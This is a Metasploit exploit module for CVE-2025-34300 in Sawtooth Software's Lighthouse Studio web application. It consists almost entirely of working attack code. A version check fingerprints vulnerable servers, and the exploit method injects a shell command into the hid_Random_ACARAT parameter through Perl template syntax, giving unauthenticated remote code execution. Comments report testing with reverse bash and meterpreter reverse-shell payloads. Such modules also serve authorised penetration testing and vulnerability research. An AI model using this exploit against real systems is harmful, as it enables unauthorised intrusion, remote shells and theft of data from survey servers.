## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient prepend Msf::Exploit::Remote::AutoCheck def initialize(info = {}) super( update_info( info, 'Name' => "Template Injection Vulnerability in Sawtooth Software's Lighthouse Studio (CVE-2025-34300)", 'Description' => %q{ This module exploits a template injection vulnerability in the Sawtooth Software Lighthouse Studio's `ciwweb.pl` web application. The application fails to properly sanitize user input within survey templates, allowing unauthenticated attackers to inject and execute arbitrary Perl commands on the target system. This vulnerability affects Lighthouse Studio versions prior to 9.16.14. Successful exploitation may result in remote code execution under the privileges of the web server, potentially exposing sensitive data or disrupting survey operations. An attacker can execute arbitrary system commands in the context of the user running the web server. }, 'License' => MSF_LICENSE, 'Author' => [ 'Maksim Rogov', # Metasploit Module 'Adam Kues' # Vulnerability Discovery ], 'References' => [ ['CVE', '2025-34300'], ['URL', 'https://slcyber.io/assetnote-security-research-center/rce-in-the-most-popular-survey-software-youve-never-heard-of/'] ], 'Platform' => ['multi'], 'Arch' => [ARCH_CMD], 'Targets' => [ [ 'Unix Command', { 'Platform' => ['unix', 'linux'], 'Arch' => ARCH_CMD, 'Type' => :unix_cmd, 'DefaultOptions' => { # On Ubuntu 18.04.06 LTS curl is not installed by default 'FETCH_COMMAND' => 'WGET' } # Tested with cmd/unix/reverse_bash # Tested with cmd/linux/http/x64/meterpreter/reverse_tcp } ], [ 'Windows Command', { 'Platform' => ['windows'], 'Arch' => ARCH_CMD, 'Type' => :win_cmd, 'DefaultOptions' => { # Environment variables like %TEMP% don't resolve 'FETCH_WRITABLE_DIR' => '\\Windows\\Tasks\\' }, 'Payload' => { 'Prepend' => 'cmd.exe /q /c' } # Tested with cmd/windows/http/x64/meterpreter/reverse_tcp } ], ], 'Payload' => { 'BadChars' => '\\' }, 'DefaultTarget' => 0, 'DisclosureDate' => '2025-07-16', 'Notes' => { 'Stability' => [CRASH_SAFE], 'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK], 'Reliability' => [REPEATABLE_SESSION] } ) ) register_options( [ OptString.new('TARGETURI', [true, 'Path to vulnerable ciwweb.pl', '/cgi-bin/ciwweb.pl']), OptString.new('STUDYNAME', [false, 'Value for the hid_studyname GET parameter', '']), ] ) end def check print_status('Extracting version...') vars = { 'hid_javascript' => '1' } vars['hid_studyname'] = datastore['STUDYNAME'] unless datastore['STUDYNAME'].strip.empty? res = send_request_cgi( 'uri' => normalize_uri(target_uri.path), 'method' => 'GET', 'vars_get' => vars ) return CheckCode::Unknown('No response from target') unless res&.code == 200 if res.body =~ /Lighthouse Studio (\d+_\d+_\d+)/ version_match = Regexp.last_match(1).to_s version = Rex::Version.new(version_match.gsub('_', '.')) print_status("Extracted version: #{version}") return CheckCode::Appears if version < Rex::Version.new('9.16.14') else print_error("#{peer} - Unable to extract version number") end html = res.get_html_document if html&.text&.include?('Lighthouse Studio') return CheckCode::Detected end CheckCode::Safe end def exploit print_status('Uploading malicious payload...') cmd = Rex::Text.uri_encode(payload.encoded) query = [ 'hid_javascript=1', "hid_Random_ACARAT=[%`#{cmd}`%]", "hid_Random_ACARAT=#{Rex::Text.rand_text_alphanumeric(rand(3..5))}" ] query << "hid_studyname=#{datastore['STUDYNAME']}" unless datastore['STUDYNAME'].strip.empty? query_string = query.join('&') res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path), 'method' => 'GET', 'query' => query_string }) if res html = res.get_html_document if html&.text&.include?('Cannot find the study name') fail_with(Failure::BadConfig, 'The STUDYNAME value was not found on the server') end end end end